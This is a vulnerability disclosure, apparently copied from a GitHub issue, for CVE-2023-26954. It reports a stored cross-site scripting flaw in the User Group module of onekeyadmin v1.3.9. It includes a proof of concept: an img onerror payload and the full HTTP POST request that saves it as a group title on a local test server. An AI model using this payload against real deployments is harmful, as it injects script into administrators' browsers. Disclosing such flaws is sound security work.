Headline

CVE-2023-26954: Backstage member grouping - add storage xss vulnerability · Issue #11 · keheying/onekeyadmin

onekeyadmin v1.3.9 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the User Group module.

1 year ago

CVE

Open in Source

#xss #vulnerability #web #windows #apple #js #php #chrome #webkit

Vulnerability affects product:onekeyadmin
Vulnerability affects version 1.3.9
Vulnerability type:storage xss vulnerability（Cross-site scripting）
Vulnerability Details：

<img src=1 onerror=alert(“xss”);>
url
http://192.168.3.129:8091/admin1#userGroup/index

poc
POST /admin1/userGroup/save HTTP/1.1
Host: 192.168.3.129:8091
Content-Length: 114
Accept: /
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.3.129:8091
Referer: http://192.168.3.129:8091/admin1/userGroup/index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=2acec6968a16dbf988b4f4a2d0a58def
Connection: close

{"id":"","title":"test<img src=1 onerror=alert(“xss”);>","integral":0,"default":0,"status":1,"theme":"template"}

then you can view xss in url
http://192.168.3.129:8091/admin1#userGroup/index